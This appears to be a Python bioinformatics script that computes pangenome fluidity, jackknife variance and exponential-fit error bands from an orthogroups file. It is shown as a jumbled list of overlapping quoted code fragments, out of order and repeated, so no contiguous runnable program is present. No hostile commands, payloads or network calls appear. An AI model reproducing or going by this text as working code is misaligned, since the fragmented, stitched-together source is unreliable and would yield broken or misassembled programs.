+", "the script has a default max number of subsamples set", "with a degree of freedom = 1 (i.e. n -", "ratio in pair_dict.values()] # list of ratios pangenome_fluidity = (2/(N*(N-1)))*sum(fluidity_list)", "pool of genomes and the variance due to the limited", "minX = min(x_values) maxY = max(y_curve_values) minY = min(y_curve_values) maxXY", "genomes from the total pool of genomes and the variance", "this solution works best for now geneticParameters_top = generate_Initial_Parameters(x_labels, stderr_top,", "fluidity_i_list]) # calculate variance return pangenome_fluidity, fluidity_variance def subsample_multiprocess(combo_list): '''", "with shaded regions showing total standard error with a exponential", "them on separate threads for faster processing. Calcualtes fluidity for", "estimated as total variance containing both the variance due to", "iso_num-2): r_out.append([str(i+3), str(pan_fluidity), str(total_variance[i]), str(total_stderr[i]), str(top_curve[i]), str(bottom_curve[i])]) for line in", "open(ortho_file, 'r') as infile: ortho_list = [item.strip() for item in", "neg_exponential(x_labels, *popt_b) else: pass except: pass ax.set_axisbelow(True) plt.minorticks_on() plt.grid(which='minor', axis='y',", "get fluidity from average of all ratios jack_samples = list(combinations(iso_list,", "population variances. ''' sub_fluid_dict = {} # {N genomes sampled", "get list of all combos of N-1 from max num", "on {} subsample combinations of {} genomes'.format(len(combos),N)) if not len(N_combos)", "= [ratio for ratio in pair_dict.values()] # list of ratios", "max_help_position=48) parser = argparse.ArgumentParser( usage='./%(prog)s [options] -i orthogroups -o output_folder',", "combinations of {} genomes'.format(len(combos),N)) if not len(N_combos) == 1: chunk", ": [list of fluidities from subsamples]} for N in range(3,", "genomes in the pangenome. ''' N = iso_num fluidity_list =", "+= 1 else: pass # don't need to count a", "# {N genomes sampled : [list of fluidities from subsamples]}", "number of sampled genomes (variance of the pangenome)(Kislyuk et al.", "not iso_list[i] == iso_list[x]: pair = tuple(sorted([iso_list[i], iso_list[x]])) if not", "str(pan_fluidity), str(total_variance[i]), str(total_stderr[i]), str(top_curve[i]), str(bottom_curve[i])]) for line in r_out: results.write('\\t'.join(line)", "create dictionary of gene clusters and isolates per cluster '''Genereate", "return a * np.exp(-b * x) + c def sumOfSquaredError(parameterTuple,", "ratios from pair_dict fluidity_i = (2/((N-1)*(N-2)))*sum(jack_sample_fluidity) # calculate fluidity_i fluidity_i_list.append(fluidity_i)", "Takes portions of the full combo_list and runs them on", "a * np.exp(-b * x) + c def sumOfSquaredError(parameterTuple, x_values,", "once). Has a cut off of max subsamples at which", "= differential_evolution(sumOfSquaredError, parameterBounds, args=(x_values,y_curve_values, func), seed=3) return result.x def create_fluidity_results(figure_output,", "# seach bounds for c # \"seed\" the numpy random", "cogs['Shared'] += 1 elif pair[0] in v and pair[1] not", "sample in jack_samples: jack_pairs = tuple(combinations(sample,2)) # get all pairs", "= os.getcwd() class MyFormatter(argparse.RawTextHelpFormatter): def __init__(self, prog): super(MyFormatter, self).__init__(prog, max_help_position=48)", "not present unique_pair = cogs['Uk'] + cogs['Ul'] all_pair = (cogs['Uk']", "not pair in pair_dict.keys(): cogs = {'Shared' : 0, 'Uk'", "if args.max_off: combos = N_combos else: if len(N_combos) > args.max_subsamples:", "bottom=False) ax.set_facecolor('gainsboro') plt.plot(x_labels, y_fluidity_values, ls='--', lw=1, color='black') # plot y-values", "= [item.strip() for item in sorted(infile)] for line in ortho_list:", "= [combos[i:i + chunk] for i in range(0, len(combos), chunk)]", "dataset. Variance and standard error are estimated as total variance", "of genomes sampled') plt.ylabel('Fluidity, '+u'\\u03C6') plt.tight_layout() plt.savefig(figure_output) with open(results_output, 'w')", "fluidity_variance def subsample_multiprocess(combo_list): ''' Takes portions of the full combo_list", ": list of isolates represented in cluster} with open(ortho_file, 'r')", "(2/(N*(N-1)))*sum(fluidity_list) # get fluidity from average of all ratios jack_samples", "error for all N genome samples and a figure of", "if len(set(exponential(x_labels, *popt_t))) <= 3: geneticParameters_top = generate_Initial_Parameters(x_labels, stderr_top, neg_exponential)", "genome fluidity of a pangenome dataset. Variance and standard error", "\"__main__\": ortho_dict = create_ortho_dictionary(input_file) iso_num = max([len(v) for v in", "portions of the full combo_list and runs them on separate", "= generate_Initial_Parameters(x_labels, stderr_bottom, exponential) popt_t, pcov = curve_fit(exponential, x_labels, stderr_top,", "samples and a figure of pangenome fluidity with shaded regions", "return pair_dict def compute_fluidity_all_genomes(): ''' Computes the fluidity and variance", "argparse.ArgumentParser( usage='./%(prog)s [options] -i orthogroups -o output_folder', description = '''", "the max subsamples. This will cause the script sample ALL", "= [] for i in range(0, iso_num-2): r_out.append([str(i+3), str(pan_fluidity), str(total_variance[i]),", "as sample variances (n-1) instead of full population variances. '''", "''' sub_fluid_dict = {} # {N genomes sampled : [list", "flatten(item): yield x else: yield item def exponential(x, a, b,", "if __name__ == \"__main__\": ortho_dict = create_ortho_dictionary(input_file) iso_num = max([len(v)", "as pd import matplotlib.pyplot as plt from multiprocessing import Pool", "super(MyFormatter, self).__init__(prog, max_help_position=48) parser = argparse.ArgumentParser( usage='./%(prog)s [options] -i orthogroups", "= [] for i in range(3, iso_num + 1): if", "of sum(unique clusters)/sum(all clusters)]} for i in range(0, len(iso_list)): for", "exponential(x_labels, *popt_t), neg_exponential(x_labels, *popt_b), facecolor='blue', alpha=0.6) top_curve = exponential(x_labels, *popt_t)", "ax.tick_params(axis='x', which='minor', bottom=False) ax.set_facecolor('gainsboro') plt.plot(x_labels, y_fluidity_values, ls='--', lw=1, color='black') #", "of genomes fluidity_i_list = [] for sample in jack_samples: jack_pairs", "starts with 3 at 0 max_y = max(stderr_top) min_y =", "= 'Number of cores to use for multiprocessing [default: 1]',", "k,v in ortho_dictionary.items(): if pair[0] in v and pair[1] in", "if not iso_list[i] == iso_list[x]: pair = tuple(sorted([iso_list[i], iso_list[x]])) if", "v and pair[1] in v: cogs['Ul'] += 1 else: pass", "range(0, len(combos), chunk)] pool = Pool(processes=args.cpus) results = pool.imap(subsample_multiprocess, split_combos)", "plot y-values of fluidity plt.xticks(np.arange(x_labels[0], x_labels[len(x_labels)-1]+1, 1.0)) # make sure", "cluster '''Genereate dictionary of Orthogroups.''' print('Creating ortholog dictionary') ortho_isolates_dict =", "Still had problems sometimes with fitting curves, this solution works", "np.array([i for i in range(3, iso_num + 1)]) stderr_bottom =", "facecolor='blue', alpha=0.6) top_curve = exponential(x_labels, *popt_t) bottom_curve = neg_exponential(x_labels, *popt_b)", "which='major', color='white', alpha=0.5) ax.tick_params(axis='x', which='minor', bottom=False) ax.set_facecolor('gainsboro') plt.plot(x_labels, y_fluidity_values, ls='--',", "+ cogs['Shared']) pair_dict[pair] = unique_pair/all_pair return pair_dict def compute_fluidity_all_genomes(): '''", "'Prefix to append to the result files (such as Genus,", "et al. (2011) to calculate genome fluidity of a pangenome", "exponential(x_labels, *popt_b) if len(set(exponential(x_labels, *popt_t))) <= 3: geneticParameters_top = generate_Initial_Parameters(x_labels,", "neg_exponential(x_labels, *popt_b), facecolor='blue', alpha=0.6) top_curve = exponential(x_labels, *popt_t) bottom_curve =", "--input') sys.exit() if args.prefix: fluid_results = os.path.abspath(os.path.join(result_dir, args.prefix+'_fluidity.txt')) fluid_fig =", "*popt_b), facecolor='blue', alpha=0.6) top_curve = exponential(x_labels, *popt_t) bottom_curve = exponential(x_labels,", "for p in jack_pairs] # get ratios from pair_dict fluidity_i", "as infile: ortho_list = [item.strip() for item in sorted(infile)] for", "= tuple(combinations(sample,2)) pair_fluidity_list = [pair_dict[tuple(sorted(p))] for p in pairs] sample_fluidity", "rundir = os.getcwd() class MyFormatter(argparse.RawTextHelpFormatter): def __init__(self, prog): super(MyFormatter, self).__init__(prog,", "variance, and standard error for all N genome samples and", "1 elif pair[0] in v and pair[1] not in v:", "all possible combinations of genomes from 3 to N randomly", "the max number of subsamples the subsamples are sampled WITH", "'+u'\\u03C6') plt.tight_layout() plt.savefig(figure_output) with open(results_output, 'w') as results: # print", "''' N = iso_num fluidity_list = [ratio for ratio in", "= (2/((N-1)*(N-2)))*sum(jack_sample_fluidity) # calculate fluidity_i fluidity_i_list.append(fluidity_i) fluidity_i_mean = np.mean(fluidity_i_list) #", "freedom = 1 (i.e. n - 1). Results are a", "total standard error with a exponential regression fit. Notes 1.", "N-1 from max num of genomes fluidity_i_list = [] for", "'-c', '--cpus', type=int, default=1, help = 'Number of cores to", "= neg_exponential(x_labels, *popt_t) bottom_curve = exponential(x_labels, *popt_b) else: pass if", "geneticParameters_bottom = generate_Initial_Parameters(x_labels, stderr_bottom, exponential) popt_t, pcov = curve_fit(exponential, x_labels,", "full population variances. ''' sub_fluid_dict = {} # {N genomes", "in the pangenome. ''' N = iso_num fluidity_list = [ratio", "the variance due to the limited number of sampled genomes", "i in permutation_list: total_variance.append(np.var(sub_fluid_dict[i], ddof = 1) + pan_variance) else:", "from a pangenome dataset (orthogroups).''', epilog = \"\"\"Written by <NAME>", "'w') as results: # print out fluidity results results.write('Genomes_Sampled\\tFluidity\\tTotal_Variance\\tTotal_Stderr\\tExponential_top\\tExponential_bottom\\n') r_out", "x in flatten(item): yield x else: yield item def exponential(x,", "compute_fluidity_all_genomes() pan_fluidity = pan_results[0] pan_variance = pan_results[1] permutation_list = []", "'''Genereate dictionary of Orthogroups.''' print('Creating ortholog dictionary') ortho_isolates_dict = OrderedDict()", "chunk] for i in range(0, len(combos), chunk)] pool = Pool(processes=args.cpus)", "# list of ratios pangenome_fluidity = (2/(N*(N-1)))*sum(fluidity_list) # get fluidity", "range(0, iso_num-2): r_out.append([str(i+3), str(pan_fluidity), str(total_variance[i]), str(total_stderr[i]), str(top_curve[i]), str(bottom_curve[i])]) for line", "x_labels, stderr_bottom, geneticParameters_bottom, maxfev=10000) plt.fill_between(x_labels, exponential(x_labels, *popt_t), neg_exponential(x_labels, *popt_b), facecolor='blue',", "v and pair[1] in v: cogs['Shared'] += 1 elif pair[0]", "a figure of pangenome fluidity with shaded regions showing total", "*popt_t), neg_exponential(x_labels, *popt_b), facecolor='blue', alpha=0.6) top_curve = exponential(x_labels, *popt_t) bottom_curve", "if not os.path.isdir(args.out): os.makedirs(os.path.join(args.out)) result_dir = os.path.abspath(os.path.join(rundir, args.out)) if args.input:", "pool.imap(subsample_multiprocess, split_combos) pool.close() pool.join() sub_fluid_dict[N].append(results) else: last_run = subsample_multiprocess(N_combos) sub_fluid_dict[N].append(last_run)", "limit so it starts with 3 at 0 max_y =", "else: last_run = subsample_multiprocess(N_combos) sub_fluid_dict[N].append(last_run) sub_fluid_dict[N]=list(flatten(sub_fluid_dict[N])) print(len(sub_fluid_dict[N])) return sub_fluid_dict def", "top_curve = neg_exponential(x_labels, *popt_t) bottom_curve = exponential(x_labels, *popt_b) else: pass", "isolates to make up your pangenome. 2. If you have", "follows formulas put forth in Kislyuk et al. (2011) to", "= round(len(combos)/args.cpus) split_combos = [combos[i:i + chunk] for i in", "combo_list and runs them on separate threads for faster processing.", "a, b, c): return a * np.exp(-b * x) +", "not len(N_combos) == 1: chunk = round(len(combos)/args.cpus) split_combos = [combos[i:i", "print('ERROR: No orthogroups file was provided please provide on, -i", "isinstance(item, str): for x in flatten(item): yield x else: yield", "required = True, help = 'Output folder', metavar='' ) parser.add_argument(", "# make sure x interval is 1 plt.xlim(x_labels[0], x_labels[len(x_labels)-1]) #", "sys, re, argparse, random, itertools, scipy, warnings, subprocess import numpy", "at 0 max_y = max(stderr_top) min_y = min(stderr_bottom) plt.ylim((min_y -", "r_out.append([str(i+3), str(pan_fluidity), str(total_variance[i]), str(total_stderr[i]), str(top_curve[i]), str(bottom_curve[i])]) for line in r_out:", "= line.split('\\t', 1) else: cluster, genes = line.split(' ', 1)", "range(0, len(iso_list)): if not iso_list[i] == iso_list[x]: pair = tuple(sorted([iso_list[i],", "linestyle='-', linewidth='1', which='major', color='white', alpha=0.5) ax.tick_params(axis='x', which='minor', bottom=False) ax.set_facecolor('gainsboro') plt.plot(x_labels,", "in permutation_list: total_variance.append(np.var(sub_fluid_dict[i], ddof = 1) + pan_variance) else: total_variance.append(np.var(sub_fluid_dict[i])", "infile: ortho_list = [item.strip() for item in sorted(infile)] for line", "# get N from number of genomes present sample_process_list =", "'\\n') if __name__ == \"__main__\": ortho_dict = create_ortho_dictionary(input_file) iso_num =", "''' Compute fluidities from all possible combinations of genomes from", "total_stderr = np.array([x**(1/2) for x in total_variance]) y_fluidity_values = np.array([pan_fluidity", "= pool.imap(subsample_multiprocess, split_combos) pool.close() pool.join() sub_fluid_dict[N].append(results) else: last_run = subsample_multiprocess(N_combos)", "of all combos of N-1 from max num of genomes", "calcualted as sample variances (n-1) instead of full population variances.", "combinations (without replacement) of N genomes from the total pool", "= 'Orthogroups file, see format in READ.me', metavar='' ) parser.add_argument(", "bottom_curve = exponential(x_labels, *popt_b) if len(set(exponential(x_labels, *popt_t))) <= 3: geneticParameters_top", "don't need to count a cluster if both isolates are", "pair[1] not in v: cogs['Uk'] += 1 elif pair[0] not", "ratios pangenome_fluidity = (2/(N*(N-1)))*sum(fluidity_list) # get fluidity from average of", "calculated with a degree of freedom = 1 (i.e. n", "'Output folder', metavar='' ) parser.add_argument( '-c', '--cpus', type=int, default=1, help", "of isolates and get their unique sum gene clusters.''' print('Creating", "stderr_top, geneticParameters_top, maxfev=10000) plt.fill_between(x_labels, neg_exponential(x_labels, *popt_t), exponential(x_labels, *popt_b), facecolor='blue', alpha=0.6)", "fluidity_i = (2/((N-1)*(N-2)))*sum(jack_sample_fluidity) # calculate fluidity_i fluidity_i_list.append(fluidity_i) fluidity_i_mean = np.mean(fluidity_i_list)", "1) + pan_variance) else: total_variance.append(np.var(sub_fluid_dict[i]) + pan_variance) total_variance = np.array(total_variance)", "+ cogs['Ul'] all_pair = (cogs['Uk'] + cogs['Shared']) + (cogs['Ul'] +", "else: yield item def exponential(x, a, b, c): return a", "curve_fit(exponential, x_labels, stderr_top, geneticParameters_top, maxfev=10000) popt_b, pcov = curve_fit(exponential, x_labels,", "on separate threads for faster processing. Calcualtes fluidity for each", "(2019)\"\"\", formatter_class = MyFormatter) parser.add_argument( '-i', '--input', required = True,", "fluidity for each sample and returns list of fluidities. '''", "plt.plot(x_labels, y_fluidity_values, ls='--', lw=1, color='black') # plot y-values of fluidity", "Results are a text file of fluidity, variance, and standard", "import pandas as pd import matplotlib.pyplot as plt from multiprocessing", "work if you have at least 5 isolates to make", "genome fluidity from a pangenome dataset (orthogroups).''', epilog = \"\"\"Written", "WITH replacement and variance is calculated with a degree of", "neg_exponential) popt_b, pcov = curve_fit(neg_exponential, x_labels, stderr_bottom, geneticParameters_bottom, maxfev=10000) plt.fill_between(x_labels,", "import os, sys, re, argparse, random, itertools, scipy, warnings, subprocess", "a low number of samples. ''' import os, sys, re,", "# get list of all combos of N-1 from max", "facecolor='blue', alpha=0.6) top_curve = neg_exponential(x_labels, *popt_t) bottom_curve = exponential(x_labels, *popt_b)", "of fluidities. ''' N = len(combo_list[0]) # get N from", "of full population variances. ''' sub_fluid_dict = {} # {N", "of fluidity plt.xticks(np.arange(x_labels[0], x_labels[len(x_labels)-1]+1, 1.0)) # make sure x interval", "''' N = len(combo_list[0]) # get N from number of", "create_pair_dictionary(ortho_dict) pan_results = compute_fluidity_all_genomes() pan_fluidity = pan_results[0] pan_variance = pan_results[1]", "= os.path.abspath(os.path.join(result_dir, args.prefix+'_fluidity.txt')) fluid_fig = os.path.abspath(os.path.join(result_dir, args.prefix+'_fluidity.png')) else: fluid_results =", "multiprocessing [default: 1]', metavar='' ) parser.add_argument( '-max_sub', '--max_subsamples', type=int, default=250000,", "if args.input: input_file = os.path.abspath(args.input) else: print('ERROR: No orthogroups file", "get N from number of genomes present sample_process_list = []", "results result = differential_evolution(sumOfSquaredError, parameterBounds, args=(x_values,y_curve_values, func), seed=3) return result.x", "the numpy random number generator for repeatable results result =", "= list(combinations(iso_list, N)) if args.max_off: combos = N_combos else: if", "type=int, default=250000, help = 'Max number of subsamples to run", "so only sampled once). Has a cut off of max", "else: pass except: pass ax.set_axisbelow(True) plt.minorticks_on() plt.grid(which='minor', axis='y', color='white', linestyle='--',", "print('Performing fluidity calculations on {} subsample combinations of {} genomes'.format(len(combos),N))", "min_y*0.15), (max_y + max_y*0.15)) plt.xlabel('Number of genomes sampled') plt.ylabel('Fluidity, '+u'\\u03C6')", "cluster} with open(ortho_file, 'r') as infile: ortho_list = [item.strip() for", "yield item def exponential(x, a, b, c): return a *", "N genomes. For samples of N genomes that were stopped", "''' import os, sys, re, argparse, random, itertools, scipy, warnings,", "for each sample and returns list of fluidities. ''' N", "sample_process_list.append(sample_fluidity) return sample_process_list def genome_subsamples_fluidities(perm_list): ''' Compute fluidities from all", "results results.write('Genomes_Sampled\\tFluidity\\tTotal_Variance\\tTotal_Stderr\\tExponential_top\\tExponential_bottom\\n') r_out = [] for i in range(0, iso_num-2):", "if isinstance(item, Iterable) and not isinstance(item, str): for x in", "*popt_t), exponential(x_labels, *popt_b), facecolor='blue', alpha=0.6) top_curve = exponential(x_labels, *popt_t) bottom_curve", "= MyFormatter) parser.add_argument( '-i', '--input', required = True, help =", "'Pangenome_fluidity.txt')) fluid_fig = os.path.abspath(os.path.join(result_dir, 'Pangenome_fluidity.png')) def create_ortho_dictionary(ortho_file): # create dictionary", "for line in r_out: results.write('\\t'.join(line) + '\\n') if __name__ ==", "+= 1 elif pair[0] in v and pair[1] not in", "{} # {N genomes sampled : [list of fluidities from", "exponential(x_labels, *popt_b), facecolor='blue', alpha=0.6) top_curve = exponential(x_labels, *popt_t) bottom_curve =", "as plt from multiprocessing import Pool from itertools import combinations", "len(N_combos) == 1: chunk = round(len(combos)/args.cpus) split_combos = [combos[i:i +", "np.mean(fluidity_i_list) # calculate fluidity_i_mean from all fluidity_i's fluidity_variance = ((N-1)/N)*sum([(i-fluidity_i_mean)**2", "= 1) + pan_variance) else: total_variance.append(np.var(sub_fluid_dict[i]) + pan_variance) total_variance =", "calculate variance return pangenome_fluidity, fluidity_variance def subsample_multiprocess(combo_list): ''' Takes portions", "cogs['Shared']) pair_dict[pair] = unique_pair/all_pair return pair_dict def compute_fluidity_all_genomes(): ''' Computes", "= func(x_values, *parameterTuple) return np.sum((y_curve_values - val) ** 2.0) def", "for i in fluidity_i_list]) # calculate variance return pangenome_fluidity, fluidity_variance", "do not print warnings by genetic algorithm val = func(x_values,", "in jack_pairs] # get ratios from pair_dict fluidity_i = (2/((N-1)*(N-2)))*sum(jack_sample_fluidity)", "exponential) popt_t, pcov = curve_fit(exponential, x_labels, stderr_top, geneticParameters_top, maxfev=10000) popt_b,", "= np.array([(pan_fluidity + v) for v in total_stderr]) fig, ax", "geneticParameters_top, maxfev=10000) plt.fill_between(x_labels, neg_exponential(x_labels, *popt_t), exponential(x_labels, *popt_b), facecolor='blue', alpha=0.6) top_curve", "for i in range(3, iso_num + 1)]) stderr_bottom = np.array([(pan_fluidity", "it's difficult to fit with such a low number of", "parameterBounds.append([-maxXY, maxXY]) # seach bounds for c # \"seed\" the", "axis='y', color='white', linestyle='--', alpha=0.3) ax.yaxis.grid(True, linestyle='-', linewidth='1', which='major', color='white') ax.xaxis.grid(True,", "max_off will force calculations to be done on all possible", "the pangenome. ''' N = iso_num fluidity_list = [ratio for", "alpha=0.3) ax.yaxis.grid(True, linestyle='-', linewidth='1', which='major', color='white') ax.xaxis.grid(True, linestyle='-', linewidth='1', which='major',", "clusters and isolates per cluster '''Genereate dictionary of Orthogroups.''' print('Creating", "plt.xticks(np.arange(x_labels[0], x_labels[len(x_labels)-1]+1, 1.0)) # make sure x interval is 1", "def create_ortho_dictionary(ortho_file): # create dictionary of gene clusters and isolates", "the variance due to subsampling all possible combinations (without replacement)", "== iso_num]))) pair_dict = create_pair_dictionary(ortho_dict) pan_results = compute_fluidity_all_genomes() pan_fluidity =", "in r_out: results.write('\\t'.join(line) + '\\n') if __name__ == \"__main__\": ortho_dict", "pan_variance) else: total_variance.append(np.var(sub_fluid_dict[i]) + pan_variance) total_variance = np.array(total_variance) total_stderr =", "sum gene clusters.''' print('Creating dictionary of paired ratio values') pair_dict", "of {} genomes'.format(len(combos),N)) if not len(N_combos) == 1: chunk =", "plt from multiprocessing import Pool from itertools import combinations from", "print out fluidity results results.write('Genomes_Sampled\\tFluidity\\tTotal_Variance\\tTotal_Stderr\\tExponential_top\\tExponential_bottom\\n') r_out = [] for i", "numpy as np import pandas as pd import matplotlib.pyplot as", "had problems sometimes with fitting curves, this solution works best", "elif pair[0] in v and pair[1] not in v: cogs['Uk']", "p in pairs] sample_fluidity = (2/(N*(N-1)))*sum(pair_fluidity_list) sample_process_list.append(sample_fluidity) return sample_process_list def", "1.0)) # make sure x interval is 1 plt.xlim(x_labels[0], x_labels[len(x_labels)-1])", "for sample in jack_samples: jack_pairs = tuple(combinations(sample,2)) # get all", "*popt_t))) > 3 and len(set(exponential(x_labels, *popt_b))) > 3: plt.fill_between(x_labels, exponential(x_labels,", "pair[0] in v and pair[1] in v: cogs['Shared'] += 1", "differential_evolution(sumOfSquaredError, parameterBounds, args=(x_values,y_curve_values, func), seed=3) return result.x def create_fluidity_results(figure_output, results_output):", "os.path.abspath(os.path.join(rundir, args.out)) if args.input: input_file = os.path.abspath(args.input) else: print('ERROR: No", "that were stopped at the max number of subsamples the", "= OrderedDict() # {Protein Cluster : list of isolates represented", "sub_fluid_dict[N]=list(flatten(sub_fluid_dict[N])) print(len(sub_fluid_dict[N])) return sub_fluid_dict def flatten(lis): for item in lis:", "# Still had problems sometimes with fitting curves, this solution", "OrderedDict() # {Protein Cluster : list of isolates represented in", "\"seed\" the numpy random number generator for repeatable results result", "Compute fluidities from all possible combinations of genomes from 3", "elif pair[0] not in v and pair[1] in v: cogs['Ul']", "= ''' Performs multiple bootstraps and calculates genome fluidity from", "pass ax.set_axisbelow(True) plt.minorticks_on() plt.grid(which='minor', axis='y', color='white', linestyle='--', alpha=0.3) ax.yaxis.grid(True, linestyle='-',", "iso_num + 1)]) x_labels = np.array([i for i in range(3,", "in range(3, iso_num + 1)]) x_labels = np.array([i for i", "Kislyuk et al. (2011) to calculate genome fluidity of a", "total_stderr]) fig, ax = plt.subplots() try: # Still had problems", "Cluster : list of isolates represented in cluster} with open(ortho_file,", "pass # don't need to count a cluster if both", "be altered with the -max_sub / --max_subsamples flag or turned", "x_labels = np.array([i for i in range(3, iso_num + 1)])", "of N genomes. For samples of N genomes that were", "collections import OrderedDict from collections.abc import Iterable from scipy.optimize import", "import numpy as np import pandas as pd import matplotlib.pyplot", "list of ratios pangenome_fluidity = (2/(N*(N-1)))*sum(fluidity_list) # get fluidity from", "re.finditer(r'([^\\s]+)', genes): isolate = match.group(0).split('_')[0] iso_list.append(isolate) ortho_isolates_dict[cluster] = list(set(iso_list)) return", "folder', metavar='' ) parser.add_argument( '-c', '--cpus', type=int, default=1, help =", "pandas as pd import matplotlib.pyplot as plt from multiprocessing import", "each sample and returns list of fluidities. ''' N =", "v in ortho_dict.values()]) iso_list = list(set(itertools.chain.from_iterable([v for v in ortho_dict.values()", "jack_pairs = tuple(combinations(sample,2)) # get all pairs from current jackknife", "[list of fluidities from subsamples]} for N in range(3, iso_num", "their unique sum gene clusters.''' print('Creating dictionary of paired ratio", "and max used for bounds maxX = max(x_values) minX =", "genomes', ) parser.add_argument( '-p', '--prefix', help = 'Prefix to append", "for now geneticParameters_top = generate_Initial_Parameters(x_labels, stderr_top, exponential) geneticParameters_bottom = generate_Initial_Parameters(x_labels,", "of N genomes from the total pool of genomes and", "= N_combos else: if len(N_combos) > args.max_subsamples: combos = random.choices(N_combos,", "5 isolates to make up your pangenome. 2. If you", "= list(combinations(iso_list, N - 1)) # get list of all", "jackknife sample jack_sample_fluidity = [pair_dict[tuple(sorted(p))] for p in jack_pairs] #", "popt_b, pcov = curve_fit(neg_exponential, x_labels, stderr_bottom, geneticParameters_bottom, maxfev=10000) plt.fill_between(x_labels, exponential(x_labels,", "genome samples and a figure of pangenome fluidity with shaded", "pangenome_fluidity = (2/(N*(N-1)))*sum(fluidity_list) # get fluidity from average of all", "[default: 250000]', metavar='' ) parser.add_argument( '--max_off', action='store_true', help = 'Turn", "degree of freedom = 1 (i.e. n - 1). Results", "= [] for sample in combo_list: pairs = tuple(combinations(sample,2)) pair_fluidity_list", "for v in total_stderr]) stderr_top = np.array([(pan_fluidity + v) for", "= exponential(x_labels, *popt_t) bottom_curve = neg_exponential(x_labels, *popt_b) else: pass except:", "in ortho_dict.values() if len(v) == iso_num]))) pair_dict = create_pair_dictionary(ortho_dict) pan_results", "ax.yaxis.grid(True, linestyle='-', linewidth='1', which='major', color='white') ax.xaxis.grid(True, linestyle='-', linewidth='1', which='major', color='white',", "fluid_fig = os.path.abspath(os.path.join(result_dir, 'Pangenome_fluidity.png')) def create_ortho_dictionary(ortho_file): # create dictionary of", "line.split('\\t', 1) else: cluster, genes = line.split(' ', 1) for", "both the variance due to subsampling all possible combinations (without", "present unique_pair = cogs['Uk'] + cogs['Ul'] all_pair = (cogs['Uk'] +", "x limit so it starts with 3 at 0 max_y", "*popt_t) bottom_curve = exponential(x_labels, *popt_b) else: pass if len(set(exponential(x_labels, *popt_b)))", "for sample in combo_list: pairs = tuple(combinations(sample,2)) pair_fluidity_list = [pair_dict[tuple(sorted(p))]", "orthogroups -o output_folder', description = ''' Performs multiple bootstraps and", "= [pair_dict[tuple(sorted(p))] for p in jack_pairs] # get ratios from", "of fluidity, variance, and standard error for all N genome", "{} subsample combinations of {} genomes'.format(len(combos),N)) if not len(N_combos) ==", "a default max number of subsamples set to 250,000 for", "'Pangenome_fluidity.png')) def create_ortho_dictionary(ortho_file): # create dictionary of gene clusters and", "pan_variance = pan_results[1] permutation_list = [] sub_fluid_dict = genome_subsamples_fluidities(permutation_list) create_fluidity_results(fluid_fig,", "species, etc.)', metavar='' ) args=parser.parse_args() if not os.path.isdir(args.out): os.makedirs(os.path.join(args.out)) result_dir", "fluidity, variance, and standard error for all N genome samples", "a exponential regression fit. Notes 1. This will only work", "in total_variance]) y_fluidity_values = np.array([pan_fluidity for i in range(3, iso_num", "cut off of max subsamples at which point variances are", "genomes. For samples of N genomes that were stopped at", "warnings.filterwarnings(\"ignore\") # do not print warnings by genetic algorithm val", "of sampled genomes (variance of the pangenome)(Kislyuk et al. 2011).", "of ratios pangenome_fluidity = (2/(N*(N-1)))*sum(fluidity_list) # get fluidity from average", "num of genomes fluidity_i_list = [] for sample in jack_samples:", "x_labels[len(x_labels)-1]) # adjust x limit so it starts with 3", "curve_fit, differential_evolution rundir = os.getcwd() class MyFormatter(argparse.RawTextHelpFormatter): def __init__(self, prog):", "in ortho_dictionary.items(): if pair[0] in v and pair[1] in v:", "genomes (variance of the pangenome)(Kislyuk et al. 2011). However, the", "gneomes in sample, so only sampled once). Has a cut", "= {} # {N genomes sampled : [list of fluidities", "args.prefix+'_fluidity.txt')) fluid_fig = os.path.abspath(os.path.join(result_dir, args.prefix+'_fluidity.png')) else: fluid_results = os.path.abspath(os.path.join(result_dir, 'Pangenome_fluidity.txt'))", "if len(v) == iso_num]))) pair_dict = create_pair_dictionary(ortho_dict) pan_results = compute_fluidity_all_genomes()", "(i.e. n - 1). Results are a text file of", "possible combinations'\\ 'for N genomes', ) parser.add_argument( '-p', '--prefix', help", "if ':' in line: cluster, genes = line.split(':') elif '\\t'", "randomly sampled genomes (N is the max number of gneomes", "= subsample_multiprocess(N_combos) sub_fluid_dict[N].append(last_run) sub_fluid_dict[N]=list(flatten(sub_fluid_dict[N])) print(len(sub_fluid_dict[N])) return sub_fluid_dict def flatten(lis): for", "list(set(itertools.chain.from_iterable([v for v in ortho_dict.values() if len(v) == iso_num]))) pair_dict", "len(combos), chunk)] pool = Pool(processes=args.cpus) results = pool.imap(subsample_multiprocess, split_combos) pool.close()", "the full combo_list and runs them on separate threads for", "parameterBounds.append([-maxXY, maxXY]) # seach bounds for a parameterBounds.append([-maxXY, maxXY]) #", "pool.close() pool.join() sub_fluid_dict[N].append(results) else: last_run = subsample_multiprocess(N_combos) sub_fluid_dict[N].append(last_run) sub_fluid_dict[N]=list(flatten(sub_fluid_dict[N])) print(len(sub_fluid_dict[N]))", "'Ul' : 0} for k,v in ortho_dictionary.items(): if pair[0] in", "= exponential(x_labels, *popt_b) if len(set(exponential(x_labels, *popt_t))) <= 3: geneticParameters_top =", "pool.join() sub_fluid_dict[N].append(results) else: last_run = subsample_multiprocess(N_combos) sub_fluid_dict[N].append(last_run) sub_fluid_dict[N]=list(flatten(sub_fluid_dict[N])) print(len(sub_fluid_dict[N])) return", "> 3: plt.fill_between(x_labels, exponential(x_labels, *popt_t), exponential(x_labels, *popt_b), facecolor='blue', alpha=0.6) top_curve", "iso_list = [] if ':' in line: cluster, genes =", "= line.split(' ', 1) for match in re.finditer(r'([^\\s]+)', genes): isolate", "[] for sample in jack_samples: jack_pairs = tuple(combinations(sample,2)) # get", "Pool from itertools import combinations from collections import OrderedDict from", "N randomly sampled genomes (N is the max number of", "probably not look pretty as it's difficult to fit with", "*parameterTuple) return np.sum((y_curve_values - val) ** 2.0) def generate_Initial_Parameters(x_values, y_curve_values,", "3 to N randomly sampled genomes (N is the max", "for N in range(3, iso_num + 1): sub_fluid_dict[N] = []", "= [] parameterBounds.append([-maxXY, maxXY]) # seach bounds for a parameterBounds.append([-maxXY,", "pair_dict.values()] # list of ratios pangenome_fluidity = (2/(N*(N-1)))*sum(fluidity_list) # get", "N = len(combo_list[0]) # get N from number of genomes", "# calculate fluidity_i fluidity_i_list.append(fluidity_i) fluidity_i_mean = np.mean(fluidity_i_list) # calculate fluidity_i_mean", "number of gneomes in sample, so only sampled once). Has", "for a parameterBounds.append([-maxXY, maxXY]) # seach bounds for b parameterBounds.append([-maxXY,", "max subsamples. This will cause the script sample ALL possible", "if len(set(exponential(x_labels, *popt_t))) > 3 and len(set(exponential(x_labels, 